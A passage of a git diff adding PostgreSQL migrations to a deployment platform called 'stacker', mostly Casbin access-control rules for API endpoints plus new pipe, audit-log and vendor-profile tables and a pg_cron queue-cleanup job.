(ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/api/v1/agent/register', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Grant client access to other agent endpoints (wait, report, enqueue) +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/api/v1/agent/commands/wait/:deployment_hash', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/api/v1/agent/commands/report', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Grant client access to deploy-related endpoints that HMAC clients need +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/project/:id/deploy', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/project/:id/deploy/:cloud_id', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/project/:id/compose', 'GET', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'client', '/project/:id/compose', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260311140000_casbin_deployments_list.down.sql b/stacker/stacker/migrations/20260311140000_casbin_deployments_list.down.sql new file mode 100644 index 0000000..a813703 --- /dev/null +++ b/stacker/stacker/migrations/20260311140000_casbin_deployments_list.down.sql @@ -0,0 +1,6 @@ +-- Rollback: remove deployments list ACL rule +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 = '/api/v1/deployments' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260311140000_casbin_deployments_list.up.sql b/stacker/stacker/migrations/20260311140000_casbin_deployments_list.up.sql new file mode 100644 index 0000000..b3ee4ba --- /dev/null +++ b/stacker/stacker/migrations/20260311140000_casbin_deployments_list.up.sql @@ -0,0 +1,5 @@ +-- Allow authenticated users to list deployments +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/deployments', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.down.sql b/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.down.sql new file mode 100644 index 0000000..81e33f5 --- /dev/null +++ b/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 = '/api/v1/deployments/:id/force-complete' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.up.sql b/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.up.sql new file mode 100644 index 0000000..6bb6a76 --- /dev/null +++ b/stacker/stacker/migrations/20260312120000_casbin_deployment_force_complete.up.sql @@ -0,0 +1,5 @@ +-- Allow authenticated users to force-complete a stuck (paused/error) deployment +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/deployments/:id/force-complete', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.down.sql b/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.down.sql new file mode 100644 index 0000000..15221ae --- /dev/null +++ b/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.down.sql @@ -0,0 +1,10 @@ +-- Unschedule cleanup job if pg_cron is available +DO $$ +BEGIN + IF EXISTS (SELECT 1 FROM pg_extension WHERE extname = 'pg_cron') THEN + PERFORM cron.unschedule('stacker_command_queue_cleanup'); + END IF; +END; +$$; + +DROP FUNCTION IF EXISTS stacker_command_queue_cleanup(INTERVAL); diff --git a/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.up.sql b/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.up.sql new file mode 100644 index 0000000..37f2a73 --- /dev/null +++ b/stacker/stacker/migrations/20260312210000_command_queue_cleanup_cron.up.sql @@ -0,0 +1,59 @@ +-- Enable pg_cron extension if available (requires pg_cron in shared_preload_libraries). +-- Wrapped in DO block so migration doesn't fail on servers without pg_cron. +DO $$ +BEGIN + CREATE EXTENSION IF NOT EXISTS pg_cron; +EXCEPTION WHEN OTHERS THEN + RAISE WARNING 'pg_cron extension not available, skipping: %', SQLERRM; +END; +$$; + +-- Cleanup function for stale command_queue entries (always created, pg_cron optional) +CREATE OR REPLACE FUNCTION stacker_command_queue_cleanup( + queue_ttl INTERVAL DEFAULT INTERVAL '48 hours' +) +RETURNS void +LANGUAGE plpgsql +AS $$ +BEGIN + -- Cancel stale queued commands (skip future scheduled commands) + UPDATE commands + SET status = 'cancelled', updated_at = NOW() + WHERE status = 'queued' + AND COALESCE(scheduled_for, created_at) < NOW() - queue_ttl; + + -- Remove queue entries for commands that are no longer queued + DELETE FROM command_queue q + USING commands c + WHERE q.command_id = c.command_id + AND c.status <> 'queued'; + + -- Remove orphaned queue entries (commands deleted) + DELETE FROM command_queue q + WHERE NOT EXISTS ( + SELECT 1 FROM commands c WHERE c.command_id = q.command_id + ); + + -- Remove very old queue entries + DELETE FROM command_queue + WHERE created_at < NOW() - queue_ttl; +END; +$$; + +-- Schedule hourly cleanup job if pg_cron is available (idempotent). +-- Uses $cron$ quoting to avoid collision with the outer DO $$ block. +DO $$ +BEGIN + IF EXISTS (SELECT 1 FROM pg_extension WHERE extname = 'pg_cron') THEN + IF NOT EXISTS ( + SELECT 1 FROM cron.job WHERE jobname = 'stacker_command_queue_cleanup' + ) THEN + PERFORM cron.schedule( + 'stacker_command_queue_cleanup', + '0 * * * *', + $cron$SELECT stacker_command_queue_cleanup();$cron$ + ); + END IF; + END IF; +END; +$$; diff --git a/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.down.sql b/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.down.sql new file mode 100644 index 0000000..0118116 --- /dev/null +++ b/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.down.sql @@ -0,0 +1,6 @@ +-- Remove anonymous access rules for agent login and link endpoints +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_anonymous' + AND v1 IN ('/api/v1/agent/login', '/api/v1/agent/link') + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.up.sql b/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.up.sql new file mode 100644 index 0000000..ec180d7 --- /dev/null +++ b/stacker/stacker/migrations/20260319120000_casbin_agent_login_link_rules.up.sql @@ -0,0 +1,13 @@ +-- Allow anonymous (unauthenticated) access to POST /api/v1/agent/login +-- Status Panel agents call this endpoint to authenticate users against TryDirect OAuth. +-- The agent has no credentials yet at this point - user identity is the trust anchor. +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/agent/login', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; + +-- Allow anonymous access to POST /api/v1/agent/link +-- Status Panel agents call this after login to link to a specific deployment. +-- The session_token in the request body serves as authentication (validated server-side). +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_anonymous', '/api/v1/agent/link', 'POST', '', '', '') +ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING; diff --git a/stacker/stacker/migrations/20260320120000_create_pipe_tables.down.sql b/stacker/stacker/migrations/20260320120000_create_pipe_tables.down.sql new file mode 100644 index 0000000..5cd0ffb --- /dev/null +++ b/stacker/stacker/migrations/20260320120000_create_pipe_tables.down.sql @@ -0,0 +1,2 @@ +DROP TABLE IF EXISTS pipe_instances; +DROP TABLE IF EXISTS pipe_templates; diff --git a/stacker/stacker/migrations/20260320120000_create_pipe_tables.up.sql b/stacker/stacker/migrations/20260320120000_create_pipe_tables.up.sql new file mode 100644 index 0000000..f9fb333 --- /dev/null +++ b/stacker/stacker/migrations/20260320120000_create_pipe_tables.up.sql @@ -0,0 +1,44 @@ +-- Reusable pipe definitions (no deployment_hash — shared across deployments) +CREATE TABLE pipe_templates ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + name VARCHAR(256) NOT NULL UNIQUE, + description TEXT, + source_app_type VARCHAR(128) NOT NULL, + source_endpoint JSONB NOT NULL, + target_app_type VARCHAR(128) NOT NULL, + target_endpoint JSONB NOT NULL, + target_external_url VARCHAR(512), + field_mapping JSONB NOT NULL, + config JSONB DEFAULT '{}', + is_public BOOLEAN DEFAULT false, + created_by VARCHAR(128) NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_pipe_templates_source ON pipe_templates(source_app_type); +CREATE INDEX idx_pipe_templates_target ON pipe_templates(target_app_type); +CREATE INDEX idx_pipe_templates_public ON pipe_templates(is_public) WHERE is_public = true; + +-- Deployment-specific pipe activations +CREATE TABLE pipe_instances ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + template_id UUID REFERENCES pipe_templates(id) ON DELETE SET NULL, + deployment_hash VARCHAR(128) NOT NULL, + source_container VARCHAR(128) NOT NULL, + target_container VARCHAR(128), + target_url VARCHAR(512), + field_mapping_override JSONB, + config_override JSONB, + status VARCHAR(32) NOT NULL DEFAULT 'draft', + last_triggered_at TIMESTAMPTZ, + trigger_count BIGINT NOT NULL DEFAULT 0, + error_count BIGINT NOT NULL DEFAULT 0, + created_by VARCHAR(128) NOT NULL, + created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW() +); + +CREATE INDEX idx_pipe_instances_deployment ON pipe_instances(deployment_hash); +CREATE INDEX idx_pipe_instances_template ON pipe_instances(template_id); +CREATE INDEX idx_pipe_instances_status ON pipe_instances(status); diff --git a/stacker/stacker/migrations/20260321000000_agent_audit_log.down.sql b/stacker/stacker/migrations/20260321000000_agent_audit_log.down.sql new file mode 100644 index 0000000..1fdb3a4 --- /dev/null +++ b/stacker/stacker/migrations/20260321000000_agent_audit_log.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS agent_audit_log; diff --git a/stacker/stacker/migrations/20260321000000_agent_audit_log.up.sql b/stacker/stacker/migrations/20260321000000_agent_audit_log.up.sql new file mode 100644 index 0000000..d03624b --- /dev/null +++ b/stacker/stacker/migrations/20260321000000_agent_audit_log.up.sql @@ -0,0 +1,13 @@ +CREATE TABLE IF NOT EXISTS agent_audit_log ( + id BIGSERIAL PRIMARY KEY, + installation_hash TEXT NOT NULL, + event_type TEXT NOT NULL, + payload JSONB NOT NULL, + status_panel_id BIGINT, -- original ID from Status Panel buffer + received_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + created_at TIMESTAMPTZ NOT NULL -- from Status Panel +); + +CREATE INDEX idx_agent_audit_log_installation ON agent_audit_log(installation_hash); +CREATE INDEX idx_agent_audit_log_event_type ON agent_audit_log(event_type); +CREATE INDEX idx_agent_audit_log_received_at ON agent_audit_log(received_at DESC); diff --git a/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.down.sql b/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.down.sql new file mode 100644 index 0000000..17a7a48 --- /dev/null +++ b/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.down.sql @@ -0,0 +1,6 @@ +-- Remove the casbin rule for fetching a deployment by hash +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 = '/api/v1/deployments/hash/:hash' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.up.sql b/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.up.sql new file mode 100644 index 0000000..d946405 --- /dev/null +++ b/stacker/stacker/migrations/20260324120000_casbin_deployment_hash_rule.up.sql @@ -0,0 +1,5 @@ +-- Allow authenticated users to fetch a deployment by its hash string +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/deployments/hash/:hash', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.down.sql b/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.down.sql new file mode 100644 index 0000000..767b630 --- /dev/null +++ b/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_user' + AND v1 = '/api/v1/agent/project/:project_id' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.up.sql b/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.up.sql new file mode 100644 index 0000000..6169543 --- /dev/null +++ b/stacker/stacker/migrations/20260324130000_casbin_agent_project_rule.up.sql @@ -0,0 +1,5 @@ +-- Allow authenticated users to fetch the active agent snapshot for a project +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES + ('p', 'group_user', '/api/v1/agent/project/:project_id', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.down.sql b/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.down.sql new file mode 100644 index 0000000..070c60a --- /dev/null +++ b/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.down.sql @@ -0,0 +1,6 @@ +-- Revoke admin_service access to admin project compose endpoint +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'admin_service' + AND v1 = '/admin/project/:id/compose' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.up.sql b/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.up.sql new file mode 100644 index 0000000..3b7f72e --- /dev/null +++ b/stacker/stacker/migrations/20260324140000_casbin_admin_compose_rule.up.sql @@ -0,0 +1,6 @@ +-- Allow admin_service role to access the admin project compose endpoint. +-- This enables TryDirect User Service to fetch marketplace template compose +-- snapshots at sync time (for buyer protection when vendor removes a template). +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/admin/project/:id/compose', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.down.sql b/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.down.sql new file mode 100644 index 0000000..012d81f --- /dev/null +++ b/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.down.sql @@ -0,0 +1 @@ +DELETE FROM public.casbin_rule WHERE ptype = 'p' AND v0 = 'group_user' AND v1 = '/api/templates/:id/reviews' AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.up.sql b/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.up.sql new file mode 100644 index 0000000..faf805a --- /dev/null +++ b/stacker/stacker/migrations/20260325100000_casbin_template_reviews_rule.up.sql @@ -0,0 +1,2 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/api/templates/:id/reviews', 'GET', '', '', '') ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.down.sql b/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.down.sql new file mode 100644 index 0000000..0d0574e --- /dev/null +++ b/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.down.sql @@ -0,0 +1,5 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v0 = 'group_admin' + AND v1 = '/admin/project/:id/compose' + AND v2 = 'GET'; diff --git a/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.up.sql b/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.up.sql new file mode 100644 index 0000000..a19690a --- /dev/null +++ b/stacker/stacker/migrations/20260325140000_casbin_admin_compose_group_admin.up.sql @@ -0,0 +1,8 @@ +-- Allow group_admin (and roles inheriting it, like root) to access the admin +-- project compose endpoint. The existing rule only grants access to the +-- admin_service JWT role, but OAuth-based access (User Service client +-- credentials) authenticates as the client owner whose role is "root". +-- root inherits group_admin, so adding the policy here covers both paths. +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/admin/project/:id/compose', 'GET', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.down.sql b/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.down.sql new file mode 100644 index 0000000..9301e3a --- /dev/null +++ b/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.down.sql @@ -0,0 +1 @@ +ALTER TABLE stack_template DROP COLUMN IF EXISTS verifications; diff --git a/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.up.sql b/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.up.sql new file mode 100644 index 0000000..3c20daf --- /dev/null +++ b/stacker/stacker/migrations/20260330100000_add_verifications_to_stack_template.up.sql @@ -0,0 +1,5 @@ +-- Add verifications JSONB column to stack_template. +-- This stores admin-configurable verification flags for marketplace templates. +-- Example: {"security_reviewed": true, "https_ready": false, "open_source": true} +ALTER TABLE stack_template + ADD COLUMN IF NOT EXISTS verifications JSONB NOT NULL DEFAULT '{}'::jsonb; diff --git a/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.down.sql b/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.down.sql new file mode 100644 index 0000000..545ca91 --- /dev/null +++ b/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule WHERE v1 IN ( + '/api/admin/templates/:id/verifications', + '/stacker/admin/templates/:id/verifications' +) AND v2 = 'PATCH'; diff --git a/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.up.sql b/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.up.sql new file mode 100644 index 0000000..400011a --- /dev/null +++ b/stacker/stacker/migrations/20260330110000_casbin_admin_verifications_rule.up.sql @@ -0,0 +1,16 @@ +-- Add Casbin rules for admin template verifications endpoint +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/verifications', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id/verifications', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/stacker/admin/templates/:id/verifications', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/stacker/admin/templates/:id/verifications', 'PATCH', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.down.sql b/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.down.sql new file mode 100644 index 0000000..f502ea0 --- /dev/null +++ b/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.down.sql @@ -0,0 +1,2 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' AND v1 = '/dockerhub/events' AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.up.sql b/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.up.sql new file mode 100644 index 0000000..3b0f066 --- /dev/null +++ b/stacker/stacker/migrations/20260331132000_casbin_dockerhub_events_rule.up.sql @@ -0,0 +1,8 @@ +-- Allow authenticated users to post DockerHub autocomplete analytics events +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_user', '/dockerhub/events', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/dockerhub/events', 'POST', '', '', '') +ON CONFLICT DO NOTHING; diff --git a/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.down.sql b/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.down.sql new file mode 100644 index 0000000..62b6d42 --- /dev/null +++ b/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.down.sql @@ -0,0 +1,5 @@ +-- Revert to original FK without cascade +ALTER TABLE deployment DROP CONSTRAINT fk_project; +ALTER TABLE deployment + ADD CONSTRAINT fk_project + FOREIGN KEY (project_id) REFERENCES project(id); diff --git a/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.up.sql b/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.up.sql new file mode 100644 index 0000000..d366e60 --- /dev/null +++ b/stacker/stacker/migrations/20260331140000_deployment_fk_cascade.up.sql @@ -0,0 +1,8 @@ +-- Fix FK on deployment.project_id to cascade on project delete. +-- Previously it defaulted to RESTRICT, causing 500 when deleting a project +-- that had associated deployments. +ALTER TABLE deployment DROP CONSTRAINT fk_project; +ALTER TABLE deployment + ADD CONSTRAINT fk_project + FOREIGN KEY (project_id) REFERENCES project(id) + ON UPDATE CASCADE ON DELETE CASCADE; diff --git a/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.down.sql b/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.down.sql new file mode 100644 index 0000000..3a7aaa9 --- /dev/null +++ b/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.down.sql @@ -0,0 +1,3 @@ +DROP INDEX IF EXISTS idx_deployment_runtime; +ALTER TABLE deployment DROP CONSTRAINT IF EXISTS chk_deployment_runtime; +ALTER TABLE deployment DROP COLUMN IF EXISTS runtime; diff --git a/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.up.sql b/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.up.sql new file mode 100644 index 0000000..3289152 --- /dev/null +++ b/stacker/stacker/migrations/20260406170000_add_runtime_to_deployment.up.sql @@ -0,0 +1,9 @@ +-- Add runtime column to deployment table for Kata containers support +ALTER TABLE deployment ADD COLUMN runtime VARCHAR(20) NOT NULL DEFAULT 'runc'; + +-- Validate runtime values +ALTER TABLE deployment ADD CONSTRAINT chk_deployment_runtime + CHECK (runtime IN ('runc', 'kata')); + +-- Index for filtering by runtime +CREATE INDEX idx_deployment_runtime ON deployment(runtime); diff --git a/stacker/stacker/migrations/20260410120000_create_pipe_executions.down.sql b/stacker/stacker/migrations/20260410120000_create_pipe_executions.down.sql new file mode 100644 index 0000000..69c7e41 --- /dev/null +++ b/stacker/stacker/migrations/20260410120000_create_pipe_executions.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS pipe_executions; diff --git a/stacker/stacker/migrations/20260410120000_create_pipe_executions.up.sql b/stacker/stacker/migrations/20260410120000_create_pipe_executions.up.sql new file mode 100644 index 0000000..ec0da12 --- /dev/null +++ b/stacker/stacker/migrations/20260410120000_create_pipe_executions.up.sql @@ -0,0 +1,20 @@ +CREATE TABLE pipe_executions ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + pipe_instance_id UUID NOT NULL REFERENCES pipe_instances(id) ON DELETE CASCADE, + deployment_hash VARCHAR(128) NOT NULL, + trigger_type VARCHAR(32) NOT NULL DEFAULT 'manual', + status VARCHAR(32) NOT NULL DEFAULT 'running', + source_data JSONB, + mapped_data JSONB, + target_response JSONB, + error TEXT, + duration_ms BIGINT, + replay_of UUID REFERENCES pipe_executions(id) ON DELETE SET NULL, + created_by VARCHAR(128) NOT NULL, + started_at TIMESTAMPTZ NOT NULL DEFAULT NOW(), + completed_at TIMESTAMPTZ +); + +CREATE INDEX idx_pipe_executions_instance ON pipe_executions(pipe_instance_id); +CREATE INDEX idx_pipe_executions_deployment ON pipe_executions(deployment_hash); +CREATE INDEX idx_pipe_executions_started ON pipe_executions(started_at DESC); diff --git a/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql b/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql new file mode 100644 index 0000000..26115c6 --- /dev/null +++ b/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.down.sql @@ -0,0 +1,2 @@ +ALTER TABLE stack_template +DROP COLUMN IF EXISTS infrastructure_requirements; diff --git a/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql b/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql new file mode 100644 index 0000000..4f20d8a --- /dev/null +++ b/stacker/stacker/migrations/20260411161000_add_infrastructure_requirements_to_stack_template.up.sql @@ -0,0 +1,2 @@ +ALTER TABLE stack_template +ADD COLUMN IF NOT EXISTS infrastructure_requirements JSONB NOT NULL DEFAULT '{}'::jsonb; diff --git a/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.down.sql b/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.down.sql new file mode 100644 index 0000000..7611d89 --- /dev/null +++ b/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.down.sql @@ -0,0 +1 @@ +DROP TABLE IF EXISTS marketplace_vendor_profile; diff --git a/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.up.sql b/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.up.sql new file mode 100644 index 0000000..3a4e49c --- /dev/null +++ b/stacker/stacker/migrations/20260412073000_create_marketplace_vendor_profile.up.sql @@ -0,0 +1,15 @@ +CREATE TABLE IF NOT EXISTS marketplace_vendor_profile ( + creator_user_id VARCHAR(50) PRIMARY KEY, + verification_status VARCHAR(50) NOT NULL DEFAULT 'unverified' CHECK ( + verification_status IN ('unverified', 'pending', 'verified', 'rejected') + ), + onboarding_status VARCHAR(50) NOT NULL DEFAULT 'not_started' CHECK ( + onboarding_status IN ('not_started', 'in_progress', 'completed') + ), + payouts_enabled BOOLEAN NOT NULL DEFAULT false, + payout_provider VARCHAR(100), + payout_account_ref VARCHAR(255), + metadata JSONB NOT NULL DEFAULT '{}'::jsonb, + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT now() +); diff --git a/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql b/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql new file mode 100644 index 0000000..5dd2d38 --- /dev/null +++ b/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.down.sql @@ -0,0 +1,14 @@ +ALTER TABLE stack_template +DROP CONSTRAINT IF EXISTS stack_template_status_check; + +ALTER TABLE stack_template +ADD CONSTRAINT stack_template_status_check CHECK ( + status IN ( + 'draft', + 'submitted', + 'under_review', + 'approved', + 'rejected', + 'deprecated' + ) +); diff --git a/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql b/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql new file mode 100644 index 0000000..e5f8d5b --- /dev/null +++ b/stacker/stacker/migrations/20260412092300_add_needs_changes_status_to_stack_template.up.sql @@ -0,0 +1,15 @@ +ALTER TABLE stack_template +DROP CONSTRAINT IF EXISTS stack_template_status_check; + +ALTER TABLE stack_template +ADD CONSTRAINT stack_template_status_check CHECK ( + status IN ( + 'draft', + 'submitted', + 'under_review', + 'needs_changes', + 'approved', + 'rejected', + 'deprecated' + ) +); diff --git a/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql b/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql new file mode 100644 index 0000000..7691d2b --- /dev/null +++ b/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.down.sql @@ -0,0 +1,4 @@ +DELETE FROM public.casbin_rule +WHERE ptype = 'p' + AND v1 = '/api/admin/templates/:id/needs-changes' + AND v2 = 'POST'; diff --git a/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql b/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql new file mode 100644 index 0000000..08aaefb --- /dev/null +++ b/stacker/stacker/migrations/20260412093000_casbin_admin_needs_changes_rule.up.sql @@ -0,0 +1,11 @@ +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'admin_service', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + +INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5) +VALUES ('p', 'group_admin', '/api/admin/templates/:id/needs-changes', 'POST', '', '', '') +ON CONFLICT DO NOTHING; + 